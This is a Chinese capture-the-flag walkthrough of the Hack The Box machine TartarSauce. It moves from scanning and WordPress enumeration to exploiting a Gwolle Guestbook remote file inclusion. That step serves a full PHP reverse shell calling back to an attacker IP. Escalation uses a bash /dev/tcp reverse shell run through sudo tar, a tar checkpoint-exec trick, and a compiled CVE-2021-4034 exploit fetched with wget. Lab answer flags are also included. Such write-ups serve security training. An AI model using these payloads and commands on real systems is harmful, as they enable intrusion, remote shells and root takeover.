IP:10.10.10.88
OS:Linux
DIFFICULT:Medium
0x01 Information Gathering
端口扫描+指纹识别
rustscan -a 10.10.10.88 -r 1-65535 --ulimit 1000 -- -sV -sC -sT --min-rate 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :--------------------------------------
🌍HACK THE PLANET🌍[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 1000.
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.10.88:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -sC -sT --min-rate 5000" on ip 10.10.10.88
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-27 18:23 CST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:23
Completed NSE at 18:23, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:23
Completed NSE at 18:23, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:23
Completed NSE at 18:23, 0.00s elapsed
Initiating Ping Scan at 18:23
Scanning 10.10.10.88 [4 ports]
Completed Ping Scan at 18:23, 0.35s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:23
Completed Parallel DNS resolution of 1 host. at 18:23, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 18:23
Scanning localhost (10.10.10.88) [1 port]
Discovered open port 80/tcp on 10.10.10.88
Completed Connect Scan at 18:23, 0.45s elapsed (1 total ports)
Initiating Service scan at 18:23
Scanning 1 service on localhost (10.10.10.88)
Completed Service scan at 18:23, 6.86s elapsed (1 service on 1 host)
NSE: Script scanning 10.10.10.88.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:23
Completed NSE at 18:23, 6.21s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:23
Completed NSE at 18:23, 1.23s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:23
Completed NSE at 18:23, 0.00s elapsed
Nmap scan report for localhost (10.10.10.88)
Host is up, received echo-reply ttl 63 (0.33s latency).
Scanned at 2023-04-27 18:23:06 CST for 15sPORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 5 disallowed entries
| /webservices/tar/tar/source/
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/
|_/webservices/developmental/ /webservices/phpmyadmin/
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-title: Landing Page
|_http-server-header: Apache/2.4.18 (Ubuntu)NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:23
Completed NSE at 18:23, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:23
Completed NSE at 18:23, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:23
Completed NSE at 18:23, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.93 secondsRaw packets sent: 4 (152B) | Rcvd: 1 (28B)
Web信息收集
直接访问,显示了以下图案
查看网页源代码,没有新的发现
根据端口扫描信息,在robots.txt
文件中发现了以下不允许爬虫访问的目录
# 这个目录路径看起来像是tar工具的源代码路径,因此它可能存在于使用tar存档的许多操作系统中,如Linux、Unix等。
/webservices/tar/tar/source/# Monstra是一个基于PHP的内容管理系统(CMS),该路径可能属于Monstra CMS安装目录。
/webservices/monstra-3.0.4/# Easy File Uploader是一个轻量级文件上传脚本,该路径可能属于Easy File Uploader的安装目录。
/webservices/easy-file-uploader/# 这个路径有点笼统,但是它可能是用于开发和测试目的的目录。通常情况下,这种目录不应出现在生产服务器上。
/webservices/developmental/# phpMyAdmin是一个流行的MySQL数据库管理工具。如果服务器上安装了phpMyAdmin,则该路径可能是其安装目录。
/webservices/phpmyadmin/
尝试进行访问
http://10.10.10.88/webservices/tar/tar/source/
根据页面信息,判断该页面为Monstra
的CMS ,版本为3.0.4
Monstra CMS是一个轻量级,开源的内容管理系统(CMS),用于构建基本的网站和应用程序。它使用PHP编写,具有简单易用的界面和灵活的插件架构,使其成为不断增长的在线社区的理想选择。
http://10.10.10.88/webservices/monstra-3.0.4/
http://10.10.10.88/webservices/easy-file-uploader/
http://10.10.10.88/webservices/developmental/
WEB目录扫描
发现存在WordPress目录
dirsearch -u http://10.10.10.88/webservices/ -x 403
_|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927Output File: /root/.dirsearch/reports/10.10.10.88/-webservices-_23-04-29_00-20-48.txtError Log: /root/.dirsearch/logs/errors-23-04-29_00-20-48.logTarget: http://10.10.10.88/webservices/[00:20:48] Starting:
[00:22:29] 301 - 319B - /webservices/wp -> http://10.10.10.88/webservices/wp/
[00:22:30] 200 - 2KB - /webservices/wp/wp-login.php
[00:22:30] 200 - 11KB - /webservices/wp/
访问后发现WordPress的网页无法正常加载出来
查看网站源代码后发现原来是因为前端样式等资源引用不是使用的IP,而是使用的域名tartarsauce.htb
在本地配置hosts并使用域名再次访问WordPress网站,发现可以正常访问到了,但是并未有新的发现
echo "10.10.10.88 tartarsauce.htb" >> /etc/hosts
接下来使用wpscan
对目标网站进行全面扫描
wpscan --url http://tartarsauce.htb/webservices/wp/ --disable-tls-checks --api-token <your wpscan api key> --enumerate p,t,u --plugins-detection aggressive
--url http://tartarsauce.htb/webservices/wp/: 指定要扫描的WordPress网站的URL。
--disable-tls-checks: 禁用TLS证书验证,这可能是因为目标网站使用的证书不受信任。
--api-token <your wpscan api key>: 使用wpscan API密钥进行扫描,这将允许你更快地扫描和更详细地分析结果。
--enumerate p,t,u: 在扫描过程中枚举插件、主题和用户。
--plugins-detection aggressive: 使用较强的插件检测模式,以便在扫描期间能够检测到更多的插件漏洞。
在扫描结果中发现该系统使用了使用了存在漏洞的gwolle-gb
的插件,但是插件版本号只存在一些XSS漏洞,没有直接能进行RCE的漏洞
[+] gwolle-gb| Location: http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/| Last Updated: 2023-03-24T11:05:00.000Z| Readme: http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt| [!] The version is out of date, the latest version is 4.5.0|| Found By: Known Locations (Aggressive Detection)| - http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/, status: 200|| [!] 2 vulnerabilities identified:|| [!] Title: Gwolle Guestbook <= 2.5.3 - Cross-Site Scripting (XSS)| Fixed in: 2.5.4| References:| - https://wpscan.com/vulnerability/00c33bf2-1527-4276-a470-a21da5929566| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17884| - https://seclists.org/fulldisclosure/2018/Jul/89| - https://www.defensecode.com/advisories/DC-2018-05-008_WordPress_Gwolle_Guestbook_Plugin_Advisory.pdf| - https://plugins.trac.wordpress.org/changeset/1888023/gwolle-gb|| [!] Title: Gwolle Guestbook < 4.2.0 - Reflected Cross-Site Scripting| Fixed in: 4.2.0| References:| - https://wpscan.com/vulnerability/e50bcb39-9a01-433f-81b3-fd4018672b85| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24980|| Version: 2.3.10 (100% confidence)| Found By: Readme - Stable Tag (Aggressive Detection)| - http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)| - http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
进一步查看该插件的readme.txt
文件
http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
在该文件的Changelog
部分发现了有趣的内容,由于wpscan会根据插件readme.txt的版本信息来检测是否存在漏洞,所以此处网站管理员为了避免被检测出漏洞,手动修改了插件的版本号,真正的版本号是1.5.3
== Changelog === 2.3.10 =
* 2018-2-12
* Changed version from 1.5.3 to 2.3.10 to trick wpscan ;D
历史漏洞搜索
搜索Monstra 3.0.4
的历史漏洞
searchsploit Monstra 3.0.4
搜索gwolle 1.5.3
的历史漏洞,发现实际版本中存在RFI 远程文件包含漏洞
0x02 Exploitation
1.根据Monstra
历史漏洞公开信息,发现能够直接RCE或者文件上传的漏洞都需要经过身份验证才能利用。
访问登录页面:
http://10.10.10.88/webservices/monstra-3.0.4/admin/
使用Monstra
CMS的默认账号密码admin admin
登录成功
获得账号密码后就可以尝试利用历史漏洞,结果均利用失败。
2.尝试利用gwolle
的远程文件包含漏洞
将exp复制到当前目录中
searchsploit -m php/webapps/38861.txt
Exploit: WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File InclusionURL: https://www.exploit-db.com/exploits/38861Path: /usr/share/exploitdb/exploits/php/webapps/38861.txtCodes: CVE-2015-8351, OSVDB-129197Verified: False
File Type: Unicode text, UTF-8 text, with very long lines (392)
Copied to: /root/HackTheBox/TartarSauce/38861.txt
根据漏洞描述得知,该漏洞是由于HTTP GET参数abspath
在用于PHP require()函数之前没有被正确处理。远程攻击者可以从任意远程服务器包含名为wp-load.php
的文件,并在易受攻击的web服务器上执行其内容。为了做到这一点,攻击者需要在他的服务器文档根目录下放置一个恶意的wp-load.php
文件,并在请求中包含服务器的URL,以下是利用步骤:
1.本地创建wp-load.php
,写入phpinfo,开启http服务
touch wp-load.php
echo "<?php phpinfo();?>" > wp-load.php
python3 -m http.server 1111
2.请求以下URL进行漏洞利用,成功加载了phpinfo的页面
http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.4:1111/
3.生成php反弹shell的代码保存至wp-load.php中
<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {private $addr = null;private $port = null;private $os = null;private $shell = null;private $descriptorspec = array(0 => array('pipe', 'r'), // shell can read from STDIN1 => array('pipe', 'w'), // shell can write to STDOUT2 => array('pipe', 'w') // shell can write to STDERR);private $buffer = 1024; // read/write buffer sizeprivate $clen = 0; // command lengthprivate $error = false; // stream read/write errorpublic function __construct($addr, $port) {$this->addr = $addr;$this->port = $port;}private function detect() {$detected = true;if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS$this->os = 'LINUX';$this->shell = '/bin/bash';} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {$this->os = 'WINDOWS';$this->shell = 'cmd.exe';} else {$detected = false;echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";}return $detected;}private function daemonize() {$exit = false;if (!function_exists('pcntl_fork')) {echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";} else if (($pid = @pcntl_fork()) < 0) {echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";} else if ($pid > 0) {$exit = true;echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";} else if (posix_setsid() < 0) {// once daemonized you will actually no longer see the script's dumpecho "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";} else {echo "DAEMONIZE: Completed successfully!\n";}return $exit;}private function settings() {@error_reporting(0);@set_time_limit(0); // do not impose the script execution time limit@umask(0); // set the file/directory permissions - 666 for files and 777 for directories}private function dump($data) {$data = str_replace('<', '<', $data);$data = str_replace('>', '>', $data);echo $data;}private function read($stream, $name, $buffer) {if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream$this->error = true; // set global error flagecho "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";}return $data;}private function write($stream, $name, $data) {if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream$this->error = true; // set global error flagecho "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";}return $bytes;}// read/write method for non-blocking streamsprivate function rw($input, $output, $iname, $oname) {while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length$this->dump($data); // script's dump}}// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)// we must read the exact byte length from a stream and not a single byte moreprivate function brw($input, $output, $iname, $oname) {$fstat = fstat($input);$size = $fstat['size'];if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {// for some reason Windows OS pipes STDIN into STDOUT// we do not like that// we need to discard the data from the streamwhile ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {$this->clen -= $bytes;$size -= $bytes;}}while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {$size -= $bytes;$this->dump($data); // script's dump}}public function run() {if ($this->detect() && !$this->daemonize()) {$this->settings();// ----- SOCKET BEGIN -----$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);if (!$socket) {echo "SOC_ERROR: {$errno}: {$errstr}\n";} else {stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS// ----- SHELL BEGIN -----$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);if (!$process) {echo "PROC_ERROR: Cannot start the shell\n";} else {foreach ($pipes as $pipe) {stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS}// ----- WORK BEGIN -----$status = proc_get_status($process);@fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");do {$status = proc_get_status($process);if (feof($socket)) { // check for end-of-file on SOCKETecho "SOC_ERROR: Shell connection has been terminated\n"; break;} else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still runningecho "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams} // use proc_get_status() instead$streams = array('read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR'write' => null,'except' => null);$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OSif ($num_changed_streams === false) {echo "STRM_ERROR: stream_select() failed\n"; break;} else if ($num_changed_streams > 0) {if ($this->os === 'LINUX') {if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDINif (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKETif (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET} else if ($this->os === 'WINDOWS') {// order is importantif (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDINif (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKETif (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET}}} while (!$this->error);// ------ WORK END ------foreach ($pipes as $pipe) {fclose($pipe);}proc_close($process);}// ------ SHELL END ------fclose($socket);}// ------ SOCKET END ------}}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.14.4', 65001);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>
反弹shell命令生成网站:https://www.revshells.com/
4.开启nc监听,并开启http服务
nc -nvlp 65001
python3 -m http.server 1111
5.再次访问漏洞URL
http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.4:1111/
成功拿到www-data
用户的权限
尝试获取user的flag,发现该目录没有权限访问
find / -name "user.txt"
find: '/home/onuma': Permission denied
0x03 Privilege Escalation
1.提升至onuma
权限
sudo -l
Matching Defaults entries for www-data on TartarSauce:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser www-data may run the following commands on TartarSauce:(onuma) NOPASSWD: /bin/tar
根据输出内容,得到用户www-data被授权可以免密以onuma的权限来运行sudo tar
命令
使用sudo tar
进行权限提升:
1.创建反弹shell的tar包并开启nc监听
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.29/65003 0>&1' > shell.sh
tar -cvf shell.tar shell.shnc -nvlp 65003
2.以 onuma
用户的身份(使用 sudo -u onuma
)解压缩名为 shell.tar 的 tar 归档文件,通过--to-command
将每个文件的内容传递给 /bin/bash
命令进行处理
sudo -u onuma tar -xvf shell.tar --to-command /bin/bash
3.获得user的flag
flag: e8d9a2dc3b1d75019cc513a9f3b26310
2.提升至root权限
上传lepeas.sh进行权限进行提权检测
python3 -m http.server 1111
wget http://10.10.14.29:1111/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
检测到存在CVE-2021-4034
内核漏洞
╔══════════╣ CVEs Check
Vulnerable to CVE-2021-4034 Potentially Vulnerable to CVE-2022-2588
接下来进行漏洞利用
EXP:https://github.com/berdav/CVE-2021-4034
# 查询内核版本、处理器架构等信息(注意是32位操作系统)
uname -a
Linux TartarSauce 4.15.0-041500-generic #201802011154 SMP Thu Feb 1 12:05:23 UTC 2018 i686 athlon i686 GNU/Linux
# 查询glibc的版本
ldd --versionldd (Ubuntu GLIBC 2.23-0ubuntu10) 2.23
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
# 询问chatGPT以下内容
我想使用docker启动以下glibc版本的镜像,命令是什么
Ubuntu GLIBC 2.23-0ubuntu10# 本地启动相同版本的docker镜像
docker run -it ubuntu:16.04 /bin/bash# 在镜像中安装编译等环境
apt-get update
apt-get install -y build-essential
apt-get install -y unzip
apt-get install -y vim
gcc --version# 安装32位的开发库
apt-get install -y gcc-multilib# 将exp复制到镜像中
docker cp CVE-2021-4034.zip f0104869eb59:/tmp
unzip CVE-2021-4034.zip# 由于目标系统处理器架构为i686,所以需要修改Makefile内容添加-m32并进行编译
vim Makefile
CFLAGS=-Wall 替换为 CFLAGS=-Wall -m32# 编译
make# 重新打包成tar.gz格式
tar -czvf CVE-2021-4034.tar.gz CVE-2021-4034# 将打包好的压缩包复制到本地
docker cp f0104869eb59:/tmp/CVE-2021-4034.tar.gz .# 上传至靶机解压并运行
python3 -m http.server 1111
wget http://10.10.14.29:1111/CVE-2021-4034.tar.gz
tar -xzvf CVE-2021-4034.tar.gz
cd CVE-2021-4034
chmod +x cve-2021-4034
./cve-2021-4034
获得root的flag
flag: 3e5b733a54ab974baba1aab77455be38
0x04 Other Solutions
使用tar命令的--checkpoint
参数进行提权
sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
以上命令会以onuma
用户的身份运行一个tar命令并将输出写入到/dev/null
中,即不保存任何文件。同时,使用了 --checkpoint=1
参数表示在处理每个文件时都输出一条消息,--checkpoint-action=exec=/bin/bash
表示在处理每个文件时执行 /bin/bash
命令。
如果您觉得我的文章有帮助到您,也可以点赞、留言或者分享给更多人哦。
这样可以让更多的人看到我们的交流,并且可以激励我继续完成更多靶场WP。
非常感谢您的支持和鼓励,期待能够与您继续保持联系。